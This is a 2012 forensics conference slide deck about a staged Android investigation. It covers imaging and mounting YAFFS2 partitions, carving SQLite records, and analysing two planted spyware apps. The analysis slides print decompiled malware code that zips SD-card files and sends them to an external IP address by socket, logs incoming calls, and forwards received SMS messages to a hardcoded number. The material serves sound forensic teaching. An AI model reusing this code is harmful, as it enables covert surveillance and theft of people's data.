Droid Autopsy

Ivo Pooters, Fox-IT

May 24, 2012
Scenario 1: Suspicious death

- Donald Norby → dead guy
- Dead: bullet to the head
- Android 2.1 phone
- Suicide?
Scenario 2: Intellectual Property theft

- Yob Taog, SwiftLogic → swiftlogic dude
- Data breach: IP leaked
- Hands over android 2.1 phone
- Guilty?
Data acquisition

- SD cards: regular imaging tools
- Internal storage:
  - NAND flash
  - MTDblock partition mounted on /data
  - MTDblock partition mounted on /cache
Data acquisition

• Dead guy’s device:
  – Rooted
  – `dd if=/dev/block/mtdblockX of=/sdcard/mtdblockX.img`
  – Doh!.. No OOB

• SwiftLogic dude’s device:
  – Rooted
  – `nanddump /dev/mtd/mtd0 | transfer 9000`
  – Includes Out-of-band bytes
Interesting partitions

- Memory card (FAT32)
- User data partition (YAFFS2)
  - Basically all user data stored internally
- Cache partition (YAFFS2)
  - Temporary stuff
- System (YAFFS2)
  - If you suspect rooting, advanced malware
The low hanging fruit
On dead guy’s device

- 9 PDF files in sdcard/download folder
- The PDF files contain schematics of SwiftLogic
- Cache partition: carved HTML pages about SwiftLogic and Swiftlogic dude

- Dead guy somehow linked to Swiftlogic dude
Some interesting HTML residual

From dead guy’s device

Apache dir listing

Origin of 9 downloaded PDF files?

So we know where this page was served.
Out of reach

• Much of the data on internal storage not yet analyzed.
• Tools don’t understand YAFFS2
• Traditional carving on file header/footer/marks is no good
Mounting YAFFS2 images

I would like to peek inside Swiftlogic dude’s user data, but free tools don’t understand YAFFS2
How to read YAFFS2

• Use forensic toolkit (e.g. Cellebrite UFED)
  – Expensive stuff!
• Use Android emulator
  – Beware, doesn’t like ‘foreign’ images
  – Extract files using adb
• Load YAFFS2 support into Linux kernel
  – Free and easy!
Enabling YAFFS2 in linux

1. Load kernel modules: mtd, mtdblock and nandsim
2. Use NANDsim to simulate NAND device
   modprobe nandsim first_id_byte=0x20
   second_id_byte=0xac third_id_byte=0x00
   fourth_id_byte=0x15 cache_file=/tmp/nandsim.bin
   512MiB, 2048 bytes page
3. NANDwrite to write image to device
   – From mtd-utils package
   – Don’t forget –r switch for OOB bytes
   – Nandwrite –a –r /dev/mtd0 ~/DFRWS/mtdX.dd
4. Fetch YAFFS2 from GIT (http://www.aleph1.co.uk/gitweb?p=yaffs2.git;a=summary)
5. Make and load yaffs2multi.ko into kernel
Mount read-only

Mount -t yaffs2
-o ro /dev/mtdblock0 /mount/point

root@laptop-ip:/mnt/case2_taog_userdata# ls -aln
total 33
drwxrwx--x 1 1000 1000 2048 May  6  2011 .
drwxr-xr-x 4    0    0 4096 May 21 19:57 ..
drwxrwx--x 1 1000 1000 2048 May  5  2011 anr
drwxrwx--x 1 1000 1000 2048 May  8  2011 app

drwxrwx--x 1 1000 1000 2048 Jan  1  1970 app-private

drwx------ 1 1000 1000 2048 Jan  1  1970 backup
-rw-rw-rw- 1    0    0    8 May 11  2011 cc_data

drwxrwx--x 1 1000 1000 2048 May  8  2011 dalvik-cache

drwxrwx--x 1 1000 1000 2048 May  8  2011 data

drwxr-x--- 1    0 1007 2048 Jan  1  1970 dontpanic

drwxrwx--x 1 2000 2000 2048 Jan  1  1970 local

drwxrwx--- 1    0    0 2048 Jan  1  1970 lost+found

drwxrwx--t 1 1000 9998 2048 May 11  2011 misc

drwx------ 1    0    0 2048 May 10  2011 property

drwxrwxr-x 1 1000 1000 2048 May 11  2011 system

drwxr-xr-x 1 1000 1000 2048 May  7  2011 tombstones
SwiftLogic device: Searching through files

- Use words encountered in previous findings:
  - IP-address, names, file names
- IP-address 50.56.29.109 found!
- In /data/dalvik-cache/
data@app@com.android.mm.apk@classes.dex
  Fail!
Application Analysis

What is that IP-address doing in this application?
No wait, what is this application doing here??
Com.andriod.mm

- Not in Android market
- data/system/packages.xml

```xml
<package name="com.andriod.mm" codePath="/data/app/com.andriod.mm.apk" system="false" ts="1304556541000" version="1" userId="10040">
  <sigs count="1">
    <cert index="12" key="[many key bytes]" />
  </sigs>
  <perms>
    <item name="android.permission.READ_PHONE_STATE" />
    <item name="android.permission.PROCESS_OUTGOING_CALLS" />
    <item name="android.permission.INTERNET" />
    <item name="android.permission.RECEIVE_BOOT_COMPLETED" />
  </perms>
</package>
```

Installed:
Thu, 05 May 2011 00:49:01 GMT
And also..

Com.vzw.smsProvider

```xml
<package name="com.vzw.smsProvider" codePath="/data/app/com.vzw.smsProvider.apk" system="false" ts="1304556527000" version="1" userId="10039">
<sigs count="1">
<cert index="12" />
</sigs>
<perms>
<item name="android.permission.SEND_SMS" />
<item name="android.permission.RECEIVE_SMS" />
</perms>
</package>
```

Installed:
Thu, 05 May 2011
00:48:47 GMT
Live analysis

- Use android-emulator + ADB
- Wireshark
- ADB, Dalvik debug monitor, logcat
Static analysis

- Retrieve the APKs: Data/apps/com.andriod.mm.apk
  Data/apps/com.vzw.smsProvider.apk
- Use APK-tool to convert AndroidManifest to cleartext XML
- Convert dex (dalvikVM) to regular jar
  - Dex2jar
- Decompile using jd-gui
  - Or other java decompiler
<uses-sdk android:minSdkVersion="3" android:targetSdkVersion="4"/>
<uses-permission android:name="android.permission INTERNET"/>
<uses-permission android:name="android.permission READ_PHONE_STATE"/>
<uses-permission android:name="android.permission RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission PROCESS_OUTGOING_CALLS"/>
<application android:debuggable="true">
  <receiver android:name="com.andriod.mm.bootComp">
    <intent-filter>
      <action android:name="android.intent.action.AIRPLANE_MODE_CHANGED"/>
      <action android:name="android.intent.action.BOOT_COMPLETED"/>
      <action android:name="android.intent.action.SCREEN_OFF"/>
    </intent-filter>
  </receiver>
  <receiver android:name="com.andriod.mm.callOut">
    <intent-filter><action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
  </receiver>
  <receiver android:name="com.andriod.mm.callIn">
    <intent-filter><action android:name="android.intent.action.PHONE_STATE"/>
  </receiver>
  <service android:name="com.andriod.mm.mediaMounter" android:enabled="true" android:exported="true"/>
<manifest android:versionCode="1" android:versionName="1.0" package="com.vzw.smsProvider"
 xmlns:android="http://schemas.android.com/apk/res/android">
  <uses-sdk
    android:minSdkVersion="6" />
  <receiver android:name=".sendSMSRec">
    <intent-filter>
      <action android:name="com.vzw.smsProvider.ACTION_SEND" />
      <data android:scheme="vzwsms" />
    </intent-filter>
  </receiver>
  <receiver android:name="com.vzw.smsProvider.SMSRec">
    <intent-filter android:priority="100">
      <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
  </receiver>
  <service android:name=".smsServiceProvider" android:enabled="true" />
</application>
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
</manifest>
Analysis of com.andriod.mm

```java
public void doStuff() {
    FileOutputStream localFileOutputStream = openFileOutput("temp", 1);
    arrayOfFile = getFiles(Environment.getExternalStorageDirectory());
    new zipper(arrayOfFile, localFileOutputStream, this, str3);
    if (sendFile("temp") >= 0)
        sendMSG("pkg uploaded!");

    int sendFile(String s){
        [...]
        socket = SocketFactory.getDefault().createSocket("50.56.29.109", 10001);
        outputStream = socket.getOutputStream();
        outputStream.write(abyte2, k1, l1);
        [...]
```
public class callIn extends BroadcastReceiver{
    public void onReceive(Context paramContext, Intent paramIntent){
        while (true) {
            if (localBundle.getString("state").equalsIgnoreCase(TelephonyManager.EXTRA_STATE_RINGING)) {
                String str1 = localBundle.getString("incoming_number");
                String str2 = DateFormat.getDateTimeInstance(1, 1).format(new Date());
                sendMSG("CallIn: " + str1 + " " + str2);
            }
        }
    }

    void sendMSG(String paramString) {
        Uri localUri = Uri.parse("vzwsms://message/" + paramString);
        Intent localIntent = new Intent();
        localIntent.setAction("com.vzw.smsProvider.ACTION_SEND");
        localIntent.setData(localUri);
        this.c.sendBroadcast(localIntent);
    }
}
Analysis of com.vzw.smsProvider

```java
public class smsLib{
    ...
    public void sendkSMS(String paramString) {
        sendkSMS("14124393389", paramString);
    }

    private void sendkSMS(String paramString1, String paramString2){
        ...
        localSmsManager.sendTextMessage(paramString1, null, "ksms" + paramString2, localPendingIntent, localPendingIntent);
    }
```
public class SMSRec extends BroadcastReceiver{
    public void onReceive(Context paramContext, Intent paramIntent) {
        if (paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){
            sms = SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
            String str1 = "" + "FORWARDED SMS from " + sms.getOriginatingAddress();
            sms .getTimestampMillis());
            localtime.format("%h %d, %Y : %H:%M:%S");
            String str2 = new StringBuilder(String.valueOf(str1)).append(" at ").append(localtime.toString()).tostring() + " :"String str3 =
            sms .getMessageBody().tostring();
            localsmsLib.sendkSMS(new StringBuilder(String.valueOf(str2)).append
                (str3).tostring() + "\n");
In short

- Runs in background
- Zips and transmits SD data:
  - On trigger, sd-card is scanned for files
  - Files zipped and sent to 50.56.29.109: 10001
  - SMS “pkg uploaded”
- Monitor calls
  - SMS “Callin” + number + date/time
- Monitors received text messages and forwards
  - SMS “FORWARDED SMS from” + originating address + “ at” + date/time + “: ksms” + message
Carving SQLite

The YAFFS2 images from dead guy are corrupt
About YAFFS2

• Yet Another Flash File System...2!
• Log structured
  – Only ever sequential writes within a block
  – Data is never written in place, but appended
• No flash transition layer required
• Only single threaded
YAFFS2 concepts

• Objects: files, dirs, links, device files
• Chunk: unit of writing (= page*)
• Block: unit of erasure (~32 to 128 pages)

• Object header: meta data of object
• Data chunk: object data
Dead guy giving trouble

• The user data and cache partition are YAFFS2 formatted.
• Data acquisition fail

• No OOB, No Tags
• No Tags, no reconstruction
Why traditional carving fails...

• Da juiz is in the SQLite db’s
• High data fragmentation due to log-structure
• No distinctive footer or file markers
• Result:
SQLite format

Pagesize: 512 – 64k

First page in file
Magic value, page size etc

Page header
Cell pointer array

Unallocated area
Cell content area

Data records here!

offset

5/24/12
The Goal

• Carve SQLite data
• ...from a raw YAFFS2 image
• ...individual records
• Bonus: we get a lot of deleted stuff back!
Step 1: Identify SQLite leaf pages

<table>
<thead>
<tr>
<th>Address</th>
<th>Bytes</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0001:8000</td>
<td>0D 00 00 00 02 00 F1 00 02 79 00 F1 00 00 00 00 00</td>
<td>.....ñ..y.ñ....</td>
</tr>
<tr>
<td>0001:8010</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>...............</td>
</tr>
<tr>
<td>0001:8020</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>...............</td>
</tr>
<tr>
<td>0001:8030</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>...............</td>
</tr>
<tr>
<td>.&lt;cut&gt;</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0001:83A0</td>
<td>47 65 63 6B 6F 29 20 56 65 72 73 69 6F 6E 2F 34</td>
<td>Gecko) Version/4</td>
</tr>
<tr>
<td>0001:83B0</td>
<td>2E 30 20 4D 6F 62 69 6C 65 20 53 61 66 61 72 69</td>
<td>. Mobile Safari</td>
</tr>
<tr>
<td>0001:83C0</td>
<td>2F 35 33 30 2E 31 37 00 CC 87 00 CC 87 22 32 38</td>
<td>/530.17.&quot;&quot;28</td>
</tr>
<tr>
<td>0001:83D0</td>
<td>39 30 33 2D 63 63 38 37 2D 34 61 32 63 37 36 39</td>
<td>903-cc87-4a2c769</td>
</tr>
<tr>
<td>0001:83E0</td>
<td>37 66 38 38 63 30 22 27 29 32 32 30 31 2D 38 2E</td>
<td>7f88c0&quot;)2201-8.</td>
</tr>
<tr>
<td>0001:83F0</td>
<td>70 64 66 35 30 2E 35 36 2E 32 39 2E 31 30 39 01</td>
<td>pdf50.56.29.109.</td>
</tr>
</tbody>
</table>
Step 1: Identify SQLite leaf pages

8-byte page header

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>Should have value 0x0D (13)</td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>Byte offset into the page of the first freeblock (&lt; page_size)</td>
</tr>
<tr>
<td>3</td>
<td>2</td>
<td># of cells (&lt; page_size/10) at least 10 bytes/cell</td>
</tr>
<tr>
<td>5</td>
<td>2</td>
<td>Offset to the first byte of the cell content area. (&lt; page_size)</td>
</tr>
<tr>
<td>7</td>
<td>1</td>
<td>Not relevant</td>
</tr>
</tbody>
</table>
Step 2: Locate and carve records

Cell pointer array tells us:
Cell 1 at offs 0x0279
Cell 2 at offs 0x00F1
Step 2: Locate and carve records

8000 | 0D 00 00 00  02 00 F1 00 02 79 00 F1 00 00 00 00 | ......ñ..y.ñ....
8010 | 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 | ................
80E0 | 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 | ................
80F0 | 00
8100 | 01 00 02 01  05 33 5B 00  00 82 27 00  03 03 43 02 | .....3['...'].C.
8110 | 00 21 25 01  68 74 74 70  3A 2F 2F 40  35 30 2E 35 | .%!http://@50.5
8120 | 36 2E 32 39  2E 31 30 39  3A 38 30 2F  73 73 2F 32 | 6.29.109:80/ss/2
8250 | 37 2D 34 61  32 63 37 36  39 37 66 38  38 63 30 22 | 7-4a2c7697f88c0“
8260 | 27 29 32 32  32 38 2D 37  2E 70 64 66  35 30 2E 35 | ’)2228-7.pdf50.5
8270 | 36 2E 32 39  2E 31 30 39  01 83 04 09  20 00 57 01 | 6.29.109.... .W.
8280 | 00 00 21 00  43 2B 00 00  01 00 02 01  05 33 5B 00 | ..!C+.......3].
83E0 | 37 66 38 38  63 30 22 27  29 32 32 30  31 2D 38 2E | 7f88c0””)2201-8.
83F0 | 70 64 66 35  30 2E 35 36  2E 32 39 2E  31 30 39 01 | pdf50.56.29.109.
Step 3: Match against record template

Cell content

<table>
<thead>
<tr>
<th>Payload size</th>
<th>Row ID</th>
<th>Column types</th>
<th>Column values</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Record
Step 3: Match against a template

- Observe known Android db’s/tables
- Create templates of column types
- Like this:

```python
callsTemplate = (("_id", SQL_TYPE_NULL),
    ("number", SQL_TYPE_TEXT | SQL_TYPE_NULL),
    ("date", SQL_TYPE_INT),
    ("duration", SQL_TYPE_INT),
    ("type", SQL_TYPE_INT),
    ("new", SQL_TYPE_INT),
    ("name", SQL_TYPE_TEXT | SQL_TYPE_NULL),
    ("numbertype", SQL_TYPE_INT),
    ("numberlabel", SQL_TYPE_TEXT | SQL_TYPE_NULL));
```
## Contact db

<table>
<thead>
<tr>
<th>id</th>
<th>number</th>
<th>date/time (utc)</th>
<th>duration</th>
<th>type</th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>4439264768</td>
<td>05/04/2011 11:31:08 PM</td>
<td>341</td>
<td>Out</td>
<td>Mr E</td>
</tr>
<tr>
<td>2</td>
<td>4124623802</td>
<td>05/05/2011 12:04:01 AM</td>
<td>91</td>
<td>Out</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>4439264768</td>
<td>05/05/2011 12:38:17 AM</td>
<td>115</td>
<td>Out</td>
<td>Mr E</td>
</tr>
<tr>
<td>4</td>
<td>4124623802</td>
<td>05/05/2011 03:18:33 PM</td>
<td>84</td>
<td>Out</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>4439264768</td>
<td>05/08/2011 06:46:24 PM</td>
<td>381</td>
<td>In</td>
<td>Mr E</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Id</th>
<th>display name</th>
<th>extra info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Mr E</td>
<td>• <a href="mailto:mre@hushmail.com">mre@hushmail.com</a></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• 443-926-4768</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Mr E</td>
</tr>
<tr>
<td>2</td>
<td>Taog</td>
<td>• Taog Taog</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• 4124393388</td>
</tr>
<tr>
<td>3</td>
<td>mr e</td>
<td>• 4439264768</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• mr</td>
</tr>
<tr>
<td>Phone</td>
<td>Date/Time</td>
<td>In/Out</td>
</tr>
<tr>
<td>--------</td>
<td>-----------------</td>
<td>--------</td>
</tr>
<tr>
<td>154</td>
<td>05/08/2011 04:12:16 AM</td>
<td>in</td>
</tr>
<tr>
<td>154</td>
<td>05/08/2011 04:12:16 AM</td>
<td>out</td>
</tr>
<tr>
<td>155</td>
<td>05/08/2011 04:13:48 AM</td>
<td>draft</td>
</tr>
<tr>
<td>155</td>
<td>05/08/2011 05:31:28 PM</td>
<td>draft</td>
</tr>
<tr>
<td>155</td>
<td>05/08/2011 06:05:34 PM</td>
<td>pending</td>
</tr>
<tr>
<td>155</td>
<td>05/08/2011 06:05:34 PM</td>
<td>out</td>
</tr>
<tr>
<td>156</td>
<td>05/08/2011 06:16:14 PM</td>
<td>in</td>
</tr>
<tr>
<td>156</td>
<td>05/08/2011 06:16:14 PM</td>
<td>out</td>
</tr>
<tr>
<td>157</td>
<td>05/08/2011 06:22:39 PM</td>
<td>pending</td>
</tr>
<tr>
<td>157</td>
<td>05/08/2011 06:22:39 PM</td>
<td>out</td>
</tr>
<tr>
<td>158</td>
<td>05/08/2011 06:30:13 PM</td>
<td>in</td>
</tr>
<tr>
<td>158</td>
<td>05/08/2011 06:30:13 PM</td>
<td>out</td>
</tr>
<tr>
<td>159</td>
<td>05/08/2011 06:56:44 PM</td>
<td>pending</td>
</tr>
<tr>
<td>159</td>
<td>05/08/2011 06:56:44 PM</td>
<td>out</td>
</tr>
</tbody>
</table>
## Browser history

<table>
<thead>
<tr>
<th>Id</th>
<th>Date/time</th>
<th>Title</th>
<th>URL</th>
<th>Visits</th>
</tr>
</thead>
<tbody>
<tr>
<td>34</td>
<td>05/06/2011 06:27:36 PM</td>
<td>yob_taog - Twitter Search</td>
<td><a href="http://search.twitter.com/search?q=yob_taog">http://search.twitter.com/search?q=yob_taog</a></td>
<td>1</td>
</tr>
<tr>
<td>34</td>
<td>05/06/2011 06:27:36 PM</td>
<td></td>
<td><a href="http://search.twitter.com/search?q=yob_taog">http://search.twitter.com/search?q=yob_taog</a></td>
<td>1</td>
</tr>
<tr>
<td>35</td>
<td>05/06/2011 06:27:47 PM</td>
<td></td>
<td><a href="http://m.twitter.com/yob_taog">http://m.twitter.com/yob_taog</a></td>
<td>1</td>
</tr>
<tr>
<td>36</td>
<td>05/06/2011 06:27:47 PM</td>
<td>Twitter</td>
<td><a href="http://mobile.twitter.com/yob_taog">http://mobile.twitter.com/yob_taog</a></td>
<td>1</td>
</tr>
<tr>
<td>36</td>
<td>05/06/2011 06:27:47 PM</td>
<td></td>
<td><a href="http://mobile.twitter.com/yob_taog">http://mobile.twitter.com/yob_taog</a></td>
<td>1</td>
</tr>
<tr>
<td>37</td>
<td>05/06/2011 06:28:09 PM</td>
<td>Twitpic - Share photos and videos on Twitter</td>
<td><a href="http://twitpic.com/4tscf6">http://twitpic.com/4tscf6</a></td>
<td>1</td>
</tr>
<tr>
<td>37</td>
<td>05/06/2011 06:28:09 PM</td>
<td></td>
<td><a href="http://twitpic.com/4tscf6">http://twitpic.com/4tscf6</a></td>
<td>1</td>
</tr>
<tr>
<td>38</td>
<td>05/06/2011 06:28:26 PM</td>
<td>Twitpic - Share photos and videos on Twitter</td>
<td><a href="http://twitpic.com/4tvmcu">http://twitpic.com/4tvmcu</a></td>
<td>1</td>
</tr>
<tr>
<td>38</td>
<td>05/06/2011 06:28:26 PM</td>
<td></td>
<td><a href="http://twitpic.com/4tvmcu">http://twitpic.com/4tvmcu</a></td>
<td>1</td>
</tr>
<tr>
<td>16</td>
<td>05/08/2011 05:58:34 PM</td>
<td></td>
<td><a href="http://www.google.com/m?source=android-home">http://www.google.com/m?source=android-home</a></td>
<td>3</td>
</tr>
<tr>
<td>39</td>
<td>05/08/2011 05:59:28 PM</td>
<td></td>
<td><a href="http://50.56.29.109/ss/">http://50.56.29.109/ss/</a></td>
<td>1</td>
</tr>
<tr>
<td>39</td>
<td>05/08/2011 05:59:28 PM</td>
<td>Index of /ss</td>
<td><a href="http://50.56.29.109/ss/">http://50.56.29.109/ss/</a></td>
<td>1</td>
</tr>
<tr>
<td>39</td>
<td>05/08/2011 06:28:05 PM</td>
<td>Index of /ss</td>
<td><a href="http://50.56.29.109/ss/">http://50.56.29.109/ss/</a></td>
<td>2</td>
</tr>
</tbody>
</table>
So, what happened?

Connecting the dots
Other findings

- FB post from SwiftLogic dude about picking up new phone
- Call from Norby to the phone shop just before
- Forwarded SMS’s and call log from Swiftlogic dude on dead guy’s device
- Comm between mr E. and dead guy about the goods
In a nutshell

• Dude’s device was bugged by Norby
• Malware installed on his device at phone shop before purchase
• The schematics of SwiftLogic were secretly uploaded to a webportal
• Dead guy downloaded the schematics
• Dead guy tried to get more out of the deal
• …and likely got killed by mr E
Questions?

Read more at: